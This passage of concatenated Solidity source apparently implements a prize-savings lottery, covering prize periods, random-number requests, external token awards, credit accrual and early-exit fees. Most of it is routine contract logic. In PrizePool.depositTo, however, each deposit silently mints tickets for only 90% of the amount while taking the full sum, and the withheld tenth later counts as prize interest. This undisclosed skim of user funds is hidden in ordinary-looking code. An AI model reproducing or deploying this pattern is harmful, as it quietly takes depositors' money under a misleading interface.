event ExternalErc721AwardAdded(
IERC721Upgradeable indexed externalErc721,
uint256[] tokenIds
);
event ExternalErc20AwardAdded(
IERC20Upgradeable indexed externalErc20
);
event ExternalErc721AwardRemoved(
IERC721Upgradeable indexed externalErc721Award
);
event ExternalErc20AwardRemoved(
IERC20Upgradeable indexed externalErc20Award
);
event Initialized(
uint256 prizePeriodStart,
uint256 prizePeriodSeconds,
PrizePool indexed prizePool,
TicketInterface ticket,
RNGInterface rng,
IERC20Upgradeable[] externalErc20Awards
);
struct RngRequest {
uint32 id;
uint32 lockBlock;
uint32 requestedAt;
}
PrizePool public prizePool;
TicketInterface public ticket;
IERC20Upgradeable public sponsorship;
RNGInterface public rng;
uint256 public prizePeriodStartedAt;
uint256 public prizePeriodSeconds;
MappedSinglyLinkedList.Mapping internal externalErc20s;
MappedSinglyLinkedList.Mapping internal externalErc721s;
mapping (IERC721Upgradeable => uint256[]) internal externalErc721TokenIds;
TokenListenerInterface public tokenListener;
BeforeAwardListenerInterface public beforeAwardListener;
PeriodicPrizeStrategyListenerInterface public periodicPrizeStrategyListener;
RngRequest internal rngRequest;
uint32 public rngRequestTimeout;
function initialize (
uint256 _prizePeriodStart,
uint256 _prizePeriodSeconds,
PrizePool _prizePool,
TicketInterface _ticket,
RNGInterface _rng,
IERC20Upgradeable[] memory externalErc20Awards
) public initializer {
require(address(_prizePool) != address(0), "PERIODICPRIZESTRATEGY: PRIZE_POOL_NOT_ZERO");
require(address(_ticket) != address(0), "PERIODICPRIZESTRATEGY: TICKET_NOT_ZERO");
require(address(_rng) != address(0), "PERIODICPRIZESTRATEGY: RNG_NOT_ZERO");
prizePool = _prizePool;
ticket = _ticket;
rng = _rng;
_setPrizePeriodSeconds(_prizePeriodSeconds);
__Ownable_init();
Constants.REGISTRY.setInterfaceImplementer(address(this), Constants.TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
externalErc20s.initialize();
for (uint256 i = 0; i < externalErc20Awards.length; i++) {
_addExternalErc20Award(externalErc20Awards[i]);
}
prizePeriodStartedAt = _prizePeriodStart;
prizePeriodSeconds = _prizePeriodSeconds;
externalErc721s.initialize();
_setRngRequestTimeout(1800);
emit Initialized(
_prizePeriodStart,
_prizePeriodSeconds,
_prizePool,
_ticket,
_rng,
externalErc20Awards
);
emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt);
}
function startAward() external requireCanStartAward {
(address feeToken, uint256 requestFee) = rng.getRequestFee();
if (feeToken != address(0) && requestFee > 0) {
IERC20Upgradeable(feeToken).safeApprove(address(rng), requestFee);
}
(uint32 requestId, uint32 lockBlock) = rng.requestRandomNumber();
rngRequest.id = requestId;
rngRequest.lockBlock = lockBlock;
rngRequest.requestedAt = _currentTime().toUint32();
emit PrizePoolAwardStarted(_msgSender(), address(prizePool), requestId, lockBlock);
}
function completeAward() external requireCanCompleteAward {
uint256 randomNumber = rng.randomNumber(rngRequest.id);
delete rngRequest;
if (address(beforeAwardListener) != address(0)) {
beforeAwardListener.beforePrizePoolAwarded(randomNumber, prizePeriodStartedAt);
}
_distribute(randomNumber);
if (address(periodicPrizeStrategyListener) != address(0)) {
periodicPrizeStrategyListener.afterPrizePoolAwarded(randomNumber, prizePeriodStartedAt);
}
prizePeriodStartedAt = _calculateNextPrizePeriodStartTime(_currentTime());
emit PrizePoolAwarded(_msgSender(), randomNumber);
emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt);
}
function cancelAward() public {
require(isRngTimedOut(), "PERIODICPRIZESTRATEGY: RNG_NOT_TIMEDOUT");
uint32 requestId = rngRequest.id;
uint32 lockBlock = rngRequest.lockBlock;
delete rngRequest;
emit RngRequestFailed();
emit PrizePoolAwardCancelled(msg.sender, address(prizePool), requestId, lockBlock);
}
function estimateRemainingBlocksToPrize(uint256 secondsPerBlockMantissa) public view returns (uint256) {
return FixedPoint.divideUintByMantissa(
_prizePeriodRemainingSeconds(),
secondsPerBlockMantissa
);
}
function calculateNextPrizePeriodStartTime(uint256 currentTime) external view returns (uint256) {
return _calculateNextPrizePeriodStartTime(currentTime);
}
function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external override onlyPrizePool {
require(from != to, "PERIODICPRIZESTRATEGY: TRANSFER_TO_SELF");
if (controlledToken == address(ticket)) {
_requireAwardNotInProgress();
}
if (address(tokenListener) != address(0)) {
tokenListener.beforeTokenTransfer(from, to, amount, controlledToken);
}
}
function beforeTokenMint(
address to,
uint256 amount,
address controlledToken
)
external
override
onlyPrizePool
{
if (controlledToken == address(ticket)) {
_requireAwardNotInProgress();
}
if (address(tokenListener) != address(0)) {
tokenListener.beforeTokenMint(to, amount, controlledToken);
}
}
function setTokenListener(TokenListenerInterface _tokenListener) external onlyOwner requireAwardNotInProgress {
require(address(0) == address(_tokenListener) || address(_tokenListener).supportsInterface(TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER), "PERIODICPRIZESTRATEGY: TOKEN_LISTERNER_INVALID");
tokenListener = _tokenListener;
emit TokenListenerUpdated(tokenListener);
}
function setBeforeAwardListener(BeforeAwardListenerInterface _beforeAwardListener) external onlyOwner requireAwardNotInProgress {
require(
address(0) == address(_beforeAwardListener) || address(_beforeAwardListener).supportsInterface(BeforeAwardListenerLibrary.ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER),
"PERIODICPRIZESTRATEGY: BEFOREAWARDLISTENER_INVALID"
);
beforeAwardListener = _beforeAwardListener;
emit BeforeAwardListenerSet(_beforeAwardListener);
}
function setPeriodicPrizeStrategyListener(PeriodicPrizeStrategyListenerInterface _periodicPrizeStrategyListener) external onlyOwner requireAwardNotInProgress {
require(
address(0) == address(_periodicPrizeStrategyListener) || address(_periodicPrizeStrategyListener).supportsInterface(PeriodicPrizeStrategyListenerLibrary.ERC165_INTERFACE_ID_PERIODIC_PRIZE_STRATEGY_LISTENER),
"PERIODICPRIZESTRATEGY: PRIZESTRATEGYLISTERNER_INVALID"
);
periodicPrizeStrategyListener = _periodicPrizeStrategyListener;
emit PeriodicPrizeStrategyListenerSet(_periodicPrizeStrategyListener);
}
function setRngService(RNGInterface rngService) external onlyOwner requireAwardNotInProgress {
require(!isRngRequested(), "PERIODICPRIZESTRATEGY: RNG_IN_FLIGHT");
rng = rngService;
emit RngServiceUpdated(rngService);
}
function setRngRequestTimeout(uint32 _rngRequestTimeout) external onlyOwner requireAwardNotInProgress {
_setRngRequestTimeout(_rngRequestTimeout);
}
function setPrizePeriodSeconds(uint256 _prizePeriodSeconds) external onlyOwner requireAwardNotInProgress {
_setPrizePeriodSeconds(_prizePeriodSeconds);
}
function addExternalErc20Awards(IERC20Upgradeable[] calldata _externalErc20s) external onlyOwnerOrListener requireAwardNotInProgress {
for (uint256 i = 0; i < _externalErc20s.length; i++) {
_addExternalErc20Award(_externalErc20s[i]);
}
}
function removeExternalErc20Award(IERC20Upgradeable _externalErc20, IERC20Upgradeable _prevExternalErc20) external onlyOwner requireAwardNotInProgress {
externalErc20s.removeAddress(address(_prevExternalErc20), address(_externalErc20));
emit ExternalErc20AwardRemoved(_externalErc20);
}
function addExternalErc721Award(IERC721Upgradeable _externalErc721, uint256[] calldata _tokenIds) external onlyOwnerOrListener requireAwardNotInProgress {
require(prizePool.canAwardExternal(address(_externalErc721)), "PERIODICPRIZESTRATEGY: CANNOT_AWARD_EXTERNAL");
require(address(_externalErc721).supportsInterface(Constants.ERC165_INTERFACE_ID_ERC721), "PERIODICPRIZESTRATEGY: ERC721_INVALID");
if (!externalErc721s.contains(address(_externalErc721))) {
externalErc721s.addAddress(address(_externalErc721));
}
for (uint256 i = 0; i < _tokenIds.length; i++) {
_addExternalErc721Award(_externalErc721, _tokenIds[i]);
}
emit ExternalErc721AwardAdded(_externalErc721, _tokenIds);
}
function removeExternalErc721Award(
IERC721Upgradeable _externalErc721,
IERC721Upgradeable _prevExternalErc721
)
external
onlyOwner
requireAwardNotInProgress
{
externalErc721s.removeAddress(address(_prevExternalErc721), address(_externalErc721));
_removeExternalErc721AwardTokens(_externalErc721);
}
function addExternalErc20Award(IERC20Upgradeable _externalErc20) external onlyOwnerOrListener requireAwardNotInProgress {
_addExternalErc20Award(_externalErc20);
}
function getExternalErc20Awards() external view returns (address[] memory) {
return externalErc20s.addressArray();
}
function prizePeriodRemainingSeconds() external view returns (uint256) {
return _prizePeriodRemainingSeconds();
}
function currentPrize() public view returns (uint256) {
return prizePool.awardBalance();
}
function isPrizePeriodOver() external view returns (bool) {
return _isPrizePeriodOver();
}
function prizePeriodEndAt() external view returns (uint256) {
return _prizePeriodEndAt();
}
function canStartAward() external view returns (bool) {
return _isPrizePeriodOver() && !isRngRequested();
}
function canCompleteAward() external view returns (bool) {
return isRngRequested() && isRngCompleted();
}
function isRngRequested() public view returns (bool) {
return rngRequest.id != 0;
}
function isRngCompleted() public view returns (bool) {
return rng.isRequestComplete(rngRequest.id);
}
function getLastRngLockBlock() external view returns (uint32) {
return rngRequest.lockBlock;
}
function getLastRngRequestId() external view returns (uint32) {
return rngRequest.id;
}
function getExternalErc721Awards() external view returns (address[] memory) {
return externalErc721s.addressArray();
}
function getExternalErc721AwardTokenIds(IERC721Upgradeable _externalErc721) external view returns (uint256[] memory) {
return externalErc721TokenIds[_externalErc721];
}
function isRngTimedOut() public view returns (bool) {
if (rngRequest.requestedAt == 0) {
return false;
} else {
return _currentTime() > uint256(rngRequestTimeout).add(rngRequest.requestedAt);
}
}
function _addExternalErc721Award(IERC721Upgradeable _externalErc721, uint256 _tokenId) internal {
require(IERC721Upgradeable(_externalErc721).ownerOf(_tokenId) == address(prizePool), "PERIODICPRIZESTRATEGY: UNAVAILABLE_TOKEN");
for (uint256 i = 0; i < externalErc721TokenIds[_externalErc721].length; i++) {
if (externalErc721TokenIds[_externalErc721][i] == _tokenId) {
revert("PERIODICPRIZESTRATEGY: ERC721_DUPLICATE");
}
}
externalErc721TokenIds[_externalErc721].push(_tokenId);
}
function _distribute(uint256 randomNumber) internal virtual;
function _prizePeriodRemainingSeconds() internal view returns (uint256) {
uint256 endAt = _prizePeriodEndAt();
uint256 time = _currentTime();
if (time > endAt) {
return 0;
}
return endAt.sub(time);
}
function _isPrizePeriodOver() internal view returns (bool) {
return _currentTime() >= _prizePeriodEndAt();
}
function _awardTickets(address user, uint256 amount) internal {
prizePool.award(user, amount, address(ticket));
}
function _awardAllExternalTokens(address winner) internal {
_awardExternalErc20s(winner);
_awardExternalErc721s(winner);
}
function _awardExternalErc20s(address winner) internal {
address currentToken = externalErc20s.start();
while (currentToken != address(0) && currentToken != externalErc20s.end()) {
uint256 balance = IERC20Upgradeable(currentToken).balanceOf(address(prizePool));
if (balance > 0) {
prizePool.awardExternalERC20(winner, currentToken, balance);
}
currentToken = externalErc20s.next(currentToken);
}
}
function _awardExternalErc721s(address winner) internal {
address currentToken = externalErc721s.start();
while (currentToken != address(0) && currentToken != externalErc721s.end()) {
uint256 balance = IERC721Upgradeable(currentToken).balanceOf(address(prizePool));
if (balance > 0) {
prizePool.awardExternalERC721(winner, currentToken, externalErc721TokenIds[IERC721Upgradeable(currentToken)]);
_removeExternalErc721AwardTokens(IERC721Upgradeable(currentToken));
}
currentToken = externalErc721s.next(currentToken);
}
externalErc721s.clearAll();
}
function _prizePeriodEndAt() internal view returns (uint256) {
return prizePeriodStartedAt.add(prizePeriodSeconds);
}
function _currentTime() internal virtual view returns (uint256) {
return block.timestamp;
}
function _currentBlock() internal virtual view returns (uint256) {
return block.number;
}
function _calculateNextPrizePeriodStartTime(uint256 currentTime) internal view returns (uint256) {
uint256 elapsedPeriods = currentTime.sub(prizePeriodStartedAt).div(prizePeriodSeconds);
return prizePeriodStartedAt.add(elapsedPeriods.mul(prizePeriodSeconds));
}
function _setRngRequestTimeout(uint32 _rngRequestTimeout) internal {
require(_rngRequestTimeout > 60, "PeriodicPrizeStrategy/rng-timeout-gt-60-secs");
rngRequestTimeout = _rngRequestTimeout;
emit RngRequestTimeoutSet(rngRequestTimeout);
}
function _setPrizePeriodSeconds(uint256 _prizePeriodSeconds) internal {
require(_prizePeriodSeconds > 0, "PERIODICPRIZESTRATEGY: PRIZE_PERIOD_GREATER_THAN_ZERO");
prizePeriodSeconds = _prizePeriodSeconds;
emit PrizePeriodSecondsUpdated(prizePeriodSeconds);
}
function _addExternalErc20Award(IERC20Upgradeable _externalErc20) internal {
require(address(_externalErc20).isContract(), "PERIODICPRIZESTRATEGY: ERC20_NULL");
require(prizePool.canAwardExternal(address(_externalErc20)), "PERIODICPRIZESTRATEGY: CANNOT_AWARD_EXTERNAL");
(bool succeeded, ) = address(_externalErc20).staticcall(abi.encodeWithSignature("totalSupply()"));
require(succeeded, "PERIODICPRIZESTRATEGY: ERC20_INVALID");
externalErc20s.addAddress(address(_externalErc20));
emit ExternalErc20AwardAdded(_externalErc20);
}
function _removeExternalErc721AwardTokens(
IERC721Upgradeable _externalErc721
)
internal
{
delete externalErc721TokenIds[_externalErc721];
emit ExternalErc721AwardRemoved(_externalErc721);
}
function _requireAwardNotInProgress() internal view {
uint256 currentBlock = _currentBlock();
require(rngRequest.lockBlock == 0 || currentBlock < rngRequest.lockBlock, "PERIODICPRIZESTRATEGY: RNG_IN_FLIGHT");
}
modifier onlyOwnerOrListener() {
require(_msgSender() == owner() ||
_msgSender() == address(periodicPrizeStrategyListener) ||
_msgSender() == address(beforeAwardListener),
"PERIODICPRIZESTRATEGY: ONLY_OWNER_OR_LISTENER");
_;
}
modifier requireAwardNotInProgress() {
_requireAwardNotInProgress();
_;
}
modifier requireCanStartAward() {
require(_isPrizePeriodOver(), "PERIODICPRIZESTRATEGY: PRIZE_PERIOD_NOT_OVER");
require(!isRngRequested(), "PERIODICPRIZESTRATEGY: RNG_ALREADY_REQUESTED");
_;
}
modifier requireCanCompleteAward() {
require(isRngRequested(), "PERIODICPRIZESTRATEGY: RNG_NOT_REQUESTED");
require(isRngCompleted(), "PERIODICPRIZESTRATEGY: RNG_NOT_COMPLETE");
_;
}
modifier onlyPrizePool() {
require(_msgSender() == address(prizePool), "PERIODICPRIZESTRATEGY: ONLY_PRIZE_POOL");
_;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC165Upgradeable.sol";
/* solium-disable security/no-block-members */
interface PeriodicPrizeStrategyListenerInterface is IERC165Upgradeable {
function afterPrizePoolAwarded(uint256 randomNumber, uint256 prizePeriodStartedAt) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
library PeriodicPrizeStrategyListenerLibrary {
bytes4 public constant ERC165_INTERFACE_ID_PERIODIC_PRIZE_STRATEGY_LISTENER = 0x575072c6;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./OwnableUpgradeable.sol";
import "./SafeCastUpgradeable.sol";
import "./ReentrancyGuardUpgradeable.sol";
import "./IERC721Upgradeable.sol";
import "./ERC165CheckerUpgradeable.sol";
import "./SafeERC20Upgradeable.sol";
import "./FixedPoint.sol";
import "./RegistryInterface.sol";
import "./ReserveInterface.sol";
import "./TokenListenerInterface.sol";
import "./TokenListenerLibrary.sol";
import "./ControlledToken.sol";
import "./TokenControllerInterface.sol";
import "./PrizePoolInterface.sol";
abstract contract PrizePool is PrizePoolInterface, OwnableUpgradeable, ReentrancyGuardUpgradeable, TokenControllerInterface {
using SafeMathUpgradeable for uint256;
using SafeCastUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
using ERC165CheckerUpgradeable for address;
event Initialized(
address reserveRegistry,
uint256 maxExitFeeMantissa,
uint256 maxTimelockDuration
);
event ReserveFeeCaptured(
uint256 amount
);
event AwardCaptured(
uint256 amount
);
event Deposited(
address indexed operator,
address indexed to,
address indexed token,
uint256 amount,
address referrer
);
event Awarded(
address indexed winner,
address indexed token,
uint256 amount
);
event AwardedExternalERC20(
address indexed winner,
address indexed token,
uint256 amount
);
event TransferredExternalERC20(
address indexed to,
address indexed token,
uint256 amount
);
event AwardedExternalERC721(
address indexed winner,
address indexed token,
uint256[] tokenIds
);
event InstantWithdrawal(
address indexed operator,
address indexed from,
address indexed token,
uint256 amount,
uint256 redeemed,
uint256 exitFee
);
event ReserveWithdrawal(
address indexed to,
uint256 amount
);
event LiquidityCapSet(
uint256 liquidityCap
);
event CreditPlanSet(
address token,
uint128 creditLimitMantissa,
uint128 creditRateMantissa
);
event PrizeStrategySet(
address indexed prizeStrategy
);
event CreditMinted(
address indexed user,
address indexed token,
uint256 amount
);
event CreditBurned(
address indexed user,
address indexed token,
uint256 amount
);
struct CreditPlan {
uint128 creditLimitMantissa;
uint128 creditRateMantissa;
}
struct CreditBalance {
uint192 balance;
uint32 timestamp;
bool initialized;
}
RegistryInterface public reserveRegistry;
TokenListenerInterface public prizeStrategy;
uint256 public maxExitFeeMantissa;
uint256 public maxTimelockDuration;
uint256 public reserveTotalSupply;
uint256 public liquidityCap;
ControlledTokenInterface public ticket;
uint256 internal _currentAwardBalance;
mapping(address => CreditPlan) internal _tokenCreditPlans;
mapping(address => mapping(address => CreditBalance)) internal _tokenCreditBalances;
function initialize (
RegistryInterface _reserveRegistry,
ControlledTokenInterface _ticket,
uint256 _maxExitFeeMantissa,
uint256 _maxTimelockDuration
)
public
initializer
{
require(address(_reserveRegistry) != address(0), "PRIZEPOOL: RESERVEREGISTRY_NOT_ZERO");
ticket = _ticket;
__Ownable_init();
__ReentrancyGuard_init();
_setLiquidityCap(uint256(-1));
reserveRegistry = _reserveRegistry;
maxExitFeeMantissa = _maxExitFeeMantissa;
maxTimelockDuration = _maxTimelockDuration;
emit Initialized(
address(_reserveRegistry),
maxExitFeeMantissa,
maxTimelockDuration
);
}
function depositTo(
address to,
uint256 amount,
address controlledToken,
address referrer
)
external override
onlyTicket(controlledToken)
canAddLiquidity(amount)
nonReentrant
{
address operator = _msgSender();
uint256 mintAmount = amount.sub(amount.div(10));
_mint(to, mintAmount, controlledToken);
_token().safeTransferFrom(operator, address(this), amount);
_supply(amount);
emit Deposited(operator, to, controlledToken, amount, referrer);
}
function withdrawInstantlyFrom(
address from,
uint256 amount,
address controlledToken,
uint256 maximumExitFee
)
external override
nonReentrant
onlyTicket(controlledToken)
returns (uint256)
{
(uint256 exitFee, uint256 burnedCredit) = _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount);
require(exitFee <= maximumExitFee, "PRIZEPOOL: EXIT_FEE_EXCEEDS_USER_MAXIMUM");
_burnCredit(from, controlledToken, burnedCredit);
ControlledToken(controlledToken).controllerBurnFrom(_msgSender(), from, amount);
uint256 amountLessFee = amount.sub(exitFee);
uint256 redeemed = _redeem(amountLessFee);
_token().safeTransfer(from, redeemed);
emit InstantWithdrawal(_msgSender(), from, controlledToken, amount, redeemed, exitFee);
return exitFee;
}
function withdrawReserve(address to) external override onlyReserve returns (uint256) {
uint256 amount = reserveTotalSupply;
reserveTotalSupply = 0;
uint256 redeemed = _redeem(amount);
_token().safeTransfer(address(to), redeemed);
emit ReserveWithdrawal(to, amount);
return redeemed;
}
function captureAwardBalance() external override nonReentrant returns (uint256) {
uint256 tokenTotalSupply = _tokenTotalSupply();
uint256 currentBalance = _balance();
uint256 totalInterest = (currentBalance > tokenTotalSupply) ? currentBalance.sub(tokenTotalSupply) : 0;
uint256 unaccountedPrizeBalance = (totalInterest > _currentAwardBalance) ? totalInterest.sub(_currentAwardBalance) : 0;
if (unaccountedPrizeBalance > 0) {
uint256 reserveFee = calculateReserveFee(unaccountedPrizeBalance);
if (reserveFee > 0) {
reserveTotalSupply = reserveTotalSupply.add(reserveFee);
unaccountedPrizeBalance = unaccountedPrizeBalance.sub(reserveFee);
emit ReserveFeeCaptured(reserveFee);
}
_currentAwardBalance = _currentAwardBalance.add(unaccountedPrizeBalance);
emit AwardCaptured(unaccountedPrizeBalance);
}
return _currentAwardBalance;
}
function award(
address to,
uint256 amount,
address controlledToken
)
external override
onlyPrizeStrategy
onlyTicket(controlledToken)
{
if (amount == 0) {
return;
}
require(amount <= _currentAwardBalance, "PRIZEPOOL: AWARD_EXCEEDS_CURRENT_BALANCE");
_currentAwardBalance = _currentAwardBalance.sub(amount);
_mint(to, amount, controlledToken);
uint256 extraCredit = _calculateEarlyExitFeeNoCredit(controlledToken, amount);
_accrueCredit(to, controlledToken, IERC20Upgradeable(controlledToken).balanceOf(to), extraCredit);
emit Awarded(to, controlledToken, amount);
}
function awardExternalERC20(
address to,
address externalToken,
uint256 amount
)
external override
onlyPrizeStrategy
{
if (_transferOut(to, externalToken, amount)) {
emit AwardedExternalERC20(to, externalToken, amount);
}
}
function awardExternalERC721(
address to,
address externalToken,
uint256[] calldata tokenIds
)
external override
onlyPrizeStrategy
{
require(_canAwardExternal(externalToken), "PRIZEPOOL: INVALID_EXTERNAL_TOKEN");
if (tokenIds.length == 0) {
return;
}
for (uint256 i = 0; i < tokenIds.length; i++) {
IERC721Upgradeable(externalToken).transferFrom(address(this), to, tokenIds[i]);
}
emit AwardedExternalERC721(to, externalToken, tokenIds);
}
function calculateEarlyExitFee(
address from,
address controlledToken,
uint256 amount
)
external override
returns (
uint256 exitFee,
uint256 burnedCredit
)
{
return _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount);
}
function calculateReserveFee(uint256 amount) public view returns (uint256) {
ReserveInterface reserve = ReserveInterface(reserveRegistry.lookup());
if (address(reserve) == address(0)) {
return 0;
}
uint256 reserveRateMantissa = reserve.reserveRateMantissa();
if (reserveRateMantissa == 0) {
return 0;
}
return FixedPoint.multiplyUintByMantissa(amount, reserveRateMantissa);
}
function estimateCreditAccrualTime(
address _controlledToken,
uint256 _principal,
uint256 _interest
)
external override
view
returns (uint256 durationSeconds)
{
return _estimateCreditAccrualTime(_controlledToken, _principal, _interest);
}
function setCreditPlanOf(
address _controlledToken,
uint128 _creditRateMantissa,
uint128 _creditLimitMantissa
)
external override
onlyTicket(_controlledToken)
onlyOwner
{
_tokenCreditPlans[_controlledToken] = CreditPlan({
creditLimitMantissa: _creditLimitMantissa,
creditRateMantissa: _creditRateMantissa
});
emit CreditPlanSet(_controlledToken, _creditLimitMantissa, _creditRateMantissa);
}
function setLiquidityCap(uint256 _liquidityCap) external override onlyOwner {
_setLiquidityCap(_liquidityCap);
}
function setPrizeStrategy(TokenListenerInterface _prizeStrategy) external override onlyOwner {
_setPrizeStrategy(_prizeStrategy);
}
function token() external override view returns (address) {
return address(_token());
}
function balance() external returns (uint256) {
return _balance();
}
function canAwardExternal(address _externalToken) external view returns (bool) {
return _canAwardExternal(_externalToken);
}
function awardBalance() external override view returns (uint256) {
return _currentAwardBalance;
}
function accountedBalance() external override view returns (uint256) {
return _tokenTotalSupply();
}
function balanceOfCredit(address user, address controlledToken) external override onlyTicket(controlledToken) returns (uint256) {
_accrueCredit(user, controlledToken, IERC20Upgradeable(controlledToken).balanceOf(user), 0);
return _tokenCreditBalances[controlledToken][user].balance;
}
function creditPlanOf(
address controlledToken
)
external override view
returns (
uint128 creditLimitMantissa,
uint128 creditRateMantissa
)
{
creditLimitMantissa = _tokenCreditPlans[controlledToken].creditLimitMantissa;
creditRateMantissa = _tokenCreditPlans[controlledToken].creditRateMantissa;
}
function transferExternalERC20(
address to,
address externalToken,
uint256 amount
)
external override
onlyPrizeStrategy
{
if (_transferOut(to, externalToken, amount)) {
emit TransferredExternalERC20(to, externalToken, amount);
}
}
function beforeTokenTransfer(address from, address to, uint256 amount) external override onlyTicket(msg.sender) {
if (from != address(0)) {
uint256 fromBeforeBalance = IERC20Upgradeable(msg.sender).balanceOf(from);
uint256 newCreditBalance = _calculateCreditBalance(from, msg.sender, fromBeforeBalance, 0);
if (from != to) {
newCreditBalance = _applyCreditLimit(msg.sender, fromBeforeBalance.sub(amount), newCreditBalance);
}
_updateCreditBalance(from, msg.sender, newCreditBalance);
}
if (to != address(0) && to != from) {
_accrueCredit(to, msg.sender, IERC20Upgradeable(msg.sender).balanceOf(to), 0);
}
if (from != address(0) && address(prizeStrategy) != address(0)) {
prizeStrategy.beforeTokenTransfer(from, to, amount, msg.sender);
}
}
function calculateTimelockDuration(
address from,
address controlledToken,
uint256 amount
)
external override
returns (
uint256 durationSeconds,
uint256 burnedCredit
)
{
return _calculateTimelockDuration(from, controlledToken, amount);
}
function _limitExitFee(uint256 withdrawalAmount, uint256 exitFee) internal view returns (uint256) {
uint256 maxFee = FixedPoint.multiplyUintByMantissa(withdrawalAmount, maxExitFeeMantissa);
if (exitFee > maxFee) {
exitFee = maxFee;
}
return exitFee;
}
function _transferOut(
address to,
address externalToken,
uint256 amount
)
internal
returns (bool)
{
require(_canAwardExternal(externalToken), "PRIZEPOOL: INVALID_EXTERNAL_TOKEN");
if (amount == 0) {
return false;
}
IERC20Upgradeable(externalToken).safeTransfer(to, amount);
return true;
}
function _mint(address to, uint256 amount, address controlledToken) internal {
if (address(prizeStrategy) != address(0)) {
prizeStrategy.beforeTokenMint(to, amount, controlledToken);
}
ControlledToken(controlledToken).controllerMint(to, amount);
}
function _calculateTimelockDuration(
address from,
address controlledToken,
uint256 amount
)
internal
returns (
uint256 durationSeconds,
uint256 burnedCredit
)
{
(uint256 exitFee, uint256 _burnedCredit) = _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount);
uint256 duration = _estimateCreditAccrualTime(controlledToken, amount, exitFee);
if (duration > maxTimelockDuration) {
duration = maxTimelockDuration;
}
return (duration, _burnedCredit);
}
function _calculateEarlyExitFeeNoCredit(address controlledToken, uint256 amount) internal view returns (uint256) {
return _limitExitFee(
amount,
FixedPoint.multiplyUintByMantissa(amount, _tokenCreditPlans[controlledToken].creditLimitMantissa)
);
}
function _estimateCreditAccrualTime(
address _controlledToken,
uint256 _principal,
uint256 _interest
)
internal
view
returns (uint256 durationSeconds)
{
uint256 accruedPerSecond = FixedPoint.multiplyUintByMantissa(_principal, _tokenCreditPlans[_controlledToken].creditRateMantissa);
if (accruedPerSecond == 0) {
return 0;
}
return _interest.div(accruedPerSecond);
}
function _burnCredit(address user, address controlledToken, uint256 credit) internal {
_tokenCreditBalances[controlledToken][user].balance = uint256(_tokenCreditBalances[controlledToken][user].balance).sub(credit).toUint128();
emit CreditBurned(user, controlledToken, credit);
}
function _accrueCredit(address user, address controlledToken, uint256 controlledTokenBalance, uint256 extra) internal {
_updateCreditBalance(
user,
controlledToken,
_calculateCreditBalance(user, controlledToken, controlledTokenBalance, extra)
);
}
function _calculateCreditBalance(address user, address controlledToken, uint256 controlledTokenBalance, uint256 extra) internal view returns (uint256) {
uint256 newBalance;
CreditBalance storage creditBalance = _tokenCreditBalances[controlledToken][user];
if (!creditBalance.initialized) {
newBalance = 0;
} else {
uint256 credit = _calculateAccruedCredit(user, controlledToken, controlledTokenBalance);
newBalance = _applyCreditLimit(controlledToken, controlledTokenBalance, uint256(creditBalance.balance).add(credit).add(extra));
}
return newBalance;
}
function _updateCreditBalance(address user, address controlledToken, uint256 newBalance) internal {
uint256 oldBalance = _tokenCreditBalances[controlledToken][user].balance;
_tokenCreditBalances[controlledToken][user] = CreditBalance({
balance: newBalance.toUint128(),
timestamp: _currentTime().toUint32(),
initialized: true
});
if (oldBalance < newBalance) {
emit CreditMinted(user, controlledToken, newBalance.sub(oldBalance));
} else {
emit CreditBurned(user, controlledToken, oldBalance.sub(newBalance));
}
}
function _applyCreditLimit(address controlledToken, uint256 controlledTokenBalance, uint256 creditBalance) internal view returns (uint256) {
uint256 creditLimit = FixedPoint.multiplyUintByMantissa(
controlledTokenBalance,
_tokenCreditPlans[controlledToken].creditLimitMantissa
);
if (creditBalance > creditLimit) {
creditBalance = creditLimit;
}
return creditBalance;
}
function _calculateAccruedCredit(address user, address controlledToken, uint256 controlledTokenBalance) internal view returns (uint256) {
uint256 userTimestamp = _tokenCreditBalances[controlledToken][user].timestamp;
if (!_tokenCreditBalances[controlledToken][user].initialized) {
return 0;
}
uint256 deltaTime = _currentTime().sub(userTimestamp);
uint256 creditPerSecond = FixedPoint.multiplyUintByMantissa(controlledTokenBalance, _tokenCreditPlans[controlledToken].creditRateMantissa);
return deltaTime.mul(creditPerSecond);
}
function _calculateEarlyExitFeeLessBurnedCredit(
address from,
address controlledToken,
uint256 amount
)
internal
returns (
uint256 earlyExitFee,
uint256 creditBurned
)
{
uint256 controlledTokenBalance = IERC20Upgradeable(controlledToken).balanceOf(from);
require(controlledTokenBalance >= amount, "PRIZEPOOL: INSUFFICIENT_FUNDS");
_accrueCredit(from, controlledToken, controlledTokenBalance, 0);
uint256 remainingExitFee = _calculateEarlyExitFeeNoCredit(controlledToken, controlledTokenBalance.sub(amount));
uint256 availableCredit;
if (_tokenCreditBalances[controlledToken][from].balance >= remainingExitFee) {
availableCredit = uint256(_tokenCreditBalances[controlledToken][from].balance).sub(remainingExitFee);
}
uint256 totalExitFee = _calculateEarlyExitFeeNoCredit(controlledToken, amount);
creditBurned = (availableCredit > totalExitFee) ? totalExitFee : availableCredit;
earlyExitFee = totalExitFee.sub(creditBurned);
return (earlyExitFee, creditBurned);
}
function _setLiquidityCap(uint256 _liquidityCap) internal {
liquidityCap = _liquidityCap;
emit LiquidityCapSet(_liquidityCap);
}
function _setPrizeStrategy(TokenListenerInterface _prizeStrategy) internal {
require(address(_prizeStrategy) != address(0), "PRIZEPOOL: PRIZESTRATEGY_NOT_ZERO");
require(address(_prizeStrategy).supportsInterface(TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER), "PRIZEPOOL: PRIZESTRATEGY_INVALID");
prizeStrategy = _prizeStrategy;
emit PrizeStrategySet(address(_prizeStrategy));
}
function _currentTime() internal virtual view returns (uint256) {
return block.timestamp;
}
function _tokenTotalSupply() internal view returns (uint256) {
uint256 total = reserveTotalSupply;
